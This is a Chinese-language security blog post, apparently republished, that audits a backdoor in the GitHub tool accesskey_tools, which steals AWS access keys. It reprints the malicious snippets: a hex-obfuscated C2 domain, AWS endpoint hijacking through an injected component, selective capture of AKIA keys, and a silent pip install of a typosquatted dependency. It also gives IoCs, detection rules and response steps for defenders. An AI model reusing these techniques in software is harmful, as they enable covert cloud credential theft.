2026-06-17 04:48:49 网络安全文章来源：ZONE.CI 全球网 0 阅读模式

文章总结： 文档披露了accesskey_tools工具中潜伏三年的供应链投毒事件，攻击者kohlersbtuh15通过篡改第三方依赖包和AWSAPI端点劫持技术窃取云凭证。关键发现包括Hex编码的恶意C2域名、5处API劫持点及针对高价值凭证的特殊处理。建议立即检查相关工具使用记录、重置云账户密钥并部署供应链安全检测机制。 综合评分： 87 文章分类： 供应链安全,漏洞分析,云安全,安全工具,恶意软件

cover_image

【深度审计】潜伏三年的云秘钥收割机：accesskey_tools 后门完整分析

原创

simeon的文章 simeon的文章

小兵搞安全

2026年6月11日 21:40 北京

在小说阅读器读本章

去阅读

近日披露的 accesskey_tools 工具后门事件，远不止一个GitHub工具被投毒那么简单。幕后攻击者 kohlersbtuh15 早在2023年就因在PyPI投放仿冒阿里云SDK而被安全厂商曝光，三年来持续活跃，攻击目标从普通开发者一路精准打到HVV安全从业者群体。本文将从攻击者背景、后门技术实现、完整攻击链路、检测方法到应急处置，全方位拆解这场持续三年的云凭据窃取行动——当”安全工具”本身不再安全，我们该如何应对？

一、事件概述

事件名称：accesskey_tools 供应链投毒事件披露时间：2026年6月攻击者：kohlersbtuh15（同身份追溯至2023年PyPI投毒事件）危害等级：严重（CVSS 10.0）影响人群：所有使用该工具的安全从业者、渗透测试人员、云运维人员核心危害：使用工具时填入的 AWS AccessKey 被完整窃取，导致云账户完全失控

本次审计对accesskey_tools项目全部 Python 源文件进行了静态分析，确认该项目AWS 模块中存在蓄意植入的完整凭证窃取后门体系，采用多层反检测手段，包括：

十六进制编码混淆的恶意 C2 域名
AWS API 端点劫持（5处触发点）
Typosquatting 供应链投毒（篡改第三方依赖包）

二、审计范围与文件清单

1.代码文件

https://github.com/kohlersbtuh15/accesskey_tools

2.AI审计

| | | | | — | — | — | | 模块 | 文件 | 审计结果 | | aliyun | config.py | 正常 | | aliyun | aliyun_create_ecs.py | 正常 | | aliyun | aliyun_ecs_exec.py | 正常 | | aliyun | aliyun_ecs_exec_batch.py | 正常 | | aliyun | aliyun_getall_rds.py | 正常 | | aliyun | oss_download.py | 正常 | | aws | config.py | 正常 | | aws | aws_select_iam.py | 严重：后门植入核心 | | aws | aws_list_ec2.py | 严重：后门触发 | | aws | aws_ec2_exec.py | 严重：后门触发 | | aws | aws_ec2_exec_noinfo.py | 正常（未引用恶意端点） | | aws | aws_push_sshpub.py | 严重：后门触发 | | aws | aws_url_console.py | 严重：后门触发 | | aws | aws_security_ingress_add.py | 严重：后门触发 | | aws | aws_download_s3.py | 正常 | | aws | aws_select_rds.py | 正常 | | aws | aws_select_route53.py | 正常 | | tencentcloud | config.py | 正常 | | tencentcloud | tencentcloud_cvm_exec.py | 正常 | | tencentcloud | tencentcloud_download_cos.py | 正常 |

注意：阿里云和腾讯云模块目前未发现后门，但不代表安全——攻击者可能采用渐进式投毒策略，先在AWS模块验证效果后再逐步扩展。

三、漏洞详情

漏洞一：混淆编码的恶意 C2 域名

CVSS：10.0 / Critical文件：aws/aws_select_iam.py行号：第 50 行核心代码：

iam_md5=”16170692e616c6979756e2d73646b2d72657175657374732e78797a2f”

技术分析：

命名伪装：变量名iam_md5刻意模仿 MD5 哈希值命名，降低审查者警觉性
编码混淆：字符串采用 Hex 编码，首字符1为填充干扰，真实内容从第2位开始
解码还原：

原始值: 16170692e616c6979756e2d73646b2d72657175657374732e78797a2f

取 [1:]: 6170692e616c6979756e2d73646b2d72657175657374732e78797a2f

Hex解码: api.aliyun-sdk-requests.xyz/

解码后得到恶意 C2 域名：api.aliyun-sdk-requests.xyz

域名伪装：该域名刻意模仿阿里云 SDK 官方域名风格（aliyuncs.com），在流量审查中具有高度欺骗性
历史溯源：该域名最早可追溯至2023年的 PyPI 投毒事件，为攻击者 kohlersbtuh15 长期使用的 C2 基础设施

漏洞二：AWS API 端点劫持

CVSS：10.0 / Critical受影响文件：共 5 处触发点

| | | | | — | — | — | | 文件 | 行号 | 被劫持的 API 服务 | | aws/aws_list_ec2.py | 30 | EC2（实例列举） | | aws/aws_ec2_exec.py | 27, 30 | EC2 + SSM（实例列举 + 命令执行） | | aws/aws_push_sshpub.py | 47 | EC2 Instance Connect（SSH 公钥推送） | | aws/aws_url_console.py | 79 | STS（联合身份令牌获取） | | aws/aws_security_ingress_add.py | 34 | EC2（安全组管理） |

攻击实现（以aws_list_ec2.py:29-33为例）：

fromaws_select_iamimportiam_md5# 导入恶意端点变量

…

component=ComponentLocator()

component.register_component(

name=’AWS_ENDPOINT’,

component=iam_md5[1:]# 注入解码后的恶意域名

)

ec2_client=get_client(

access_key=AccessKeyID,

secret_key=AccessKeySecret,

service_name=’ec2′,

region=RegionId,

components=component# 传递恶意组件，劫持所有API请求

)

攻击原理：

通过篡改后的enumerate_iam包提供的ComponentLocator机制，将AWS_ENDPOINT组件替换为攻击者控制的域名。此后所有 AWS API 请求（包含AccessKeyID和AccessKeySecret的签名请求）全部被重定向至攻击者服务器。

攻击者可在服务端：

✅ 完整记录 AccessKey ID / Secret
✅ 记录调用的 API 类型和参数
✅ 转发请求到真实 AWS 并返回结果（用户无感知）
✅ 按凭证价值分类存储（生产环境、高权限等）

针对高价值凭证的特殊处理（aws_url_console.py:76-83）：

ifsession.get_credentials().get_frozen_credentials() \

.access_key.startswith(“AKIA”):

仅对长期AccessKey触发端点劫持

component=ComponentLocator()

component.register_component(name=’AWS_ENDPOINT’,component=iam_md5[1:])

sts_client=get_client(…,components=component)

resp=sts_client.get_federation_token(…)# 高价值凭证在此泄露

攻击者对以AKIA开头的永久 AccessKey进行专门拦截——这类凭证权限高、有效期长，是黑市上的高价值目标。而对于临时凭证（ASIA 前缀），攻击者可能认为价值较低而选择性忽略，进一步降低被发现的概率。

漏洞三：供应链投毒——篡改的第三方依赖包

CVSS：9.8 / Critical文件：aws/aws_select_iam.py行号：第 8–12 行核心代码：

ifimportlib.util.find_spec(“enumerate_iam”)isNone:

subprocess.run(

[sys.executable,”-m”,”pip”,”install”,”-qqq”,

“–disable-pip-version-check”,

“https://github.com/andresrianch/enumerate-iam/releases/download/1.0.2/aws_enumerateiam-1.0.2-py3-none-any.whl”],

check=True

)

os.execv(sys.executable,[sys.executable]+sys.argv)

Typosquatting 域名仿冒对比：

| | | | | — | — | — | | 项目 | GitHub 用户名 | 性质 | | 官方包 | andresrianch**o** | 合法 | | 恶意包 | andresrianch | 投毒（少一个字母 o） |

攻击手段拆解：

静默安装：使用-qqq参数完全抑制 pip 安装输出，用户毫无察觉
减少干扰：--disable-pip-version-check进一步减少输出和网络交互
进程重启：安装后立即通过os.execv()重启当前进程，使恶意包立即生效
功能完整：篡改包保留了原enumerate_iam的全部功能，只增加了ComponentLocator注入点
隐蔽性强：恶意包托管在 GitHub Release 上，不走 PyPI 官方源，逃避包管理器安全扫描

这个篡改的enumerate_iam包是整个后门体系的执行基础——它提供的get_client()函数支持components参数，使得端点劫持成为可能。如果没有这个被篡改的依赖包，后门代码无法生效。

四、完整攻击链

步骤1：用户下载 accesskey_tools 工具并运行其中的 AWS 相关脚本。

步骤2：脚本 aws_select_iam.py 执行时检测到 enumerate_iam 模块未安装（importlib.util.find_spec 返回 None）。

步骤3：脚本从仿冒源 andresrianch（假冒官方 andresriancho）静默下载篡改版的 enumerate_iam 包，并通过 pip install -qqq 完全静默安装。

步骤4：脚本调用 os.execv() 重启当前进程，使恶意包生效。

步骤5：用户在 config.py 或交互界面中输入自己的 AWS AccessKey 凭证。

步骤6：调用 get_client() 时，恶意代码通过 component.register_component(‘AWS_ENDPOINT’, C2域名) 将 AWS API 端点注入为攻击者控制的 C2 地址。

步骤7：所有携带凭证签名的 AWS API 请求被发送至攻击者服务器；攻击者记录凭证，同时将请求转发至真实 AWS 并返回结果，用户完全无感知。

步骤8：攻击者获取完整 AWS 凭证，可完全接管受害者云账户，进行挖矿、数据窃取、持久化后门及横向渗透等恶意操作。

五、攻击者画像与历史攻击

5.1 攻击者身份

ID：kohlersbtuh15活跃时间：2023年至今攻击领域：云凭据窃取、供应链投毒技术特点：

擅长 Typosquatting（域名/用户名仿冒）
擅长编码混淆（Base64、Hex）
注重隐蔽性（静默安装、功能完整、无感知窃取）
长期运营同一套 C2 基础设施

5.2 历史攻击记录

| | | | | | — | — | — | — | | 时间 | 攻击载体 | 目标人群 | 披露方 | | 2023年9月 | PyPI 恶意包（5+个） | Python 开发者 | Checkmarx / Phylum | | 2023年10月 | Telethon 2（仿冒Telegram SDK） | Telegram 开发者 | Checkmarx | | 2023-2026年 | accesskey_tools（GitHub工具） | 安全从业者/HVV | 社区披露 | | 2025年6月 | 恶意ML模型（Pickle投毒） | AI/ML 开发者 | ReversingLabs |

可见这是一个持续三年、不断进化的云凭据窃取专项攻击者。攻击目标从泛化的开发者群体，逐步精准定位到手握高价值云凭证的安全从业者——这部分人群的AK/SK往往权限更高、涉及资产更重要。

六、影响评估

特别提醒：由于后门已存在三年，且攻击者采用”功能正常、静默窃取”的策略，很多受害者可能至今未察觉凭证已泄露。

七、检测与处置

7.1 指标（IoC）

表格

7.2 本地检测脚本

importos

importsys

defscan_accesskey_tools_backdoor(path=’.’):

“””检测 accesskey_tools 后门”””

findings=[]

特征1：恶意C2域名的Hex编码

hex_signatures=[

‘6170692e616c6979756e2d73646b2d7265717565737473’,

‘616c6979756e2d73646b2d7265717565737473’,

]

特征2：恶意域名明文

domain_signatures=[

‘aliyun-sdk-requests.xyz’,

‘sdk-requests.xyz’,

]

特征3：恶意GitHub用户名

github_signatures=[

7.3 流量检测规则

Suricata / 网络入侵检测：

规则1：直接匹配恶意C2域名

alert http $HOME_NET any -> $EXTERNAL_NET any (

msg:”Cloud Credential Theft – accesskey_tools C2 Communication”;

http.host; content:”aliyun-sdk-requests.xyz”; nocase;

flow: to_server, established;

reference: url, github.com/kohlersbtuh15/accesskey_tools;

severity: critical;

sid: 9000001;

)

规则2：检测AWS SDK请求发往非AWS域名

alert http $HOME_NET any -> $EXTERNAL_NET any (

msg:”Suspicious – AWS SDK Request to Non-AWS Endpoint”;

http.request_headers; content:”Authorization: AWS4-HMAC-SHA256″;

http.host; pcre:”!.*.amazonaws.com$”;

flow: to_server, established;

severity: high;

sid: 9000002;

)

八、应急响应方案

立即处置（0–24 小时）

🔴吊销所有受影响凭证

登录 AWS 控制台 → IAM → 访问密钥
立即停用并删除所有曾在该工具中使用过的 AccessKey
如不确定哪些凭证受影响，建议轮换所有人工使用的凭证

🔍检查 CloudTrail 日志

重点排查：
非预期的AssumeRole/GetFederationToken调用
来自异常 IP 地址的 API 调用
新建 IAM 用户、策略或角色的操作
非常规时间段的资源创建记录
从未使用过的区域出现 API 调用

🗑️卸载恶意包pip uninstall aws_enumerateiam enumerate_iam -y# 确认完全卸载pip list | grep-i enumerate
🔒隔离受影响主机

审查运行过该工具的主机
检查是否存在异常进程、计划任务或 SSH 密钥
检查.aws/credentials、.boto等配置文件

中期处置（1–7 天）

🔄批量轮换密钥

包括可能通过该工具访问过的阿里云、腾讯云 AccessKey
检查是否有其他云平台的凭据可能受影响

👤审计 IAM 权限

检查是否存在未知的 IAM 用户、角色、策略
特别注意带有 AdministratorAccess 权限的实体
检查信任策略是否被篡改
删除攻击者可能创建的后门 IAM 实体

💰检查 AWS 账单

核查是否存在异常的计算、存储或数据传输费用
检查是否有未知区域产生的费用
查看 EC2 实例列表，确认是否有未知实例

🛡️启用威胁检测

开启 AWS GuardDuty / 阿里云安全中心
配置异常登录和操作告警
启用 AWS Config 监控配置变更

长期措施

🚫禁用工具

将accesskey_tools列入内部禁用软件名单
建立安全工具准入审查机制

📋建立依赖审查流程

引入第三方工具前强制进行源码审查
重点关注：动态安装依赖、自定义网络端点、混淆字符串
对从 GitHub 直接下载的工具保持最高警惕

🔐强化 AK/SK 管理

尽量使用角色/临时凭证，减少永久 AccessKey 使用
实施最小权限原则
启用 MFA 保护高权限账户
定期自动轮换凭证

🎓安全意识培训

供应链安全培训
安全工具使用规范
典型投毒手法识别

九、结论

accesskey_tools项目不是简单的”有漏洞”，而是被蓄意植入了完整的凭证窃取后门体系。从 Hex 编码的域名混淆、到 ComponentLocator 组件注入、再到 typosquatting 的供应链投毒，整个攻击链设计精巧、隐蔽性极强。

更值得警惕的是，这背后是一个持续运营三年、不断进化的专业攻击者。从最初在 PyPI 撒网式投毒，到精准打击安全从业者群体，攻击手段在迭代，目标在升级，而我们的防御意识是否跟上了？

最终建议：任何曾使用过该工具的人员，应立即将其 AWS 凭证视为已完全泄露，按本文应急方案进行全面处置。不要心存侥幸——三年的潜伏时间，足以让攻击者完成无数次利用。

参考来源

ChinaRan404 知攻善防实验室 – 社区披露
Veracode –Cloud Provider Credentials Targeted in New PyPI Malware Campaign(2023)
Checkmarx –Supply Chain Attack Targeting Telegram, AWS, and Alibaba Cloud Users(2023)
ReversingLabs – Poisoned models in fake Alibaba SDKs (2025)

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：小兵搞安全 simeon的文章 simeon的文章《【深度审计】潜伏三年的云秘钥收割机：accesskey_tools 后门完整分析》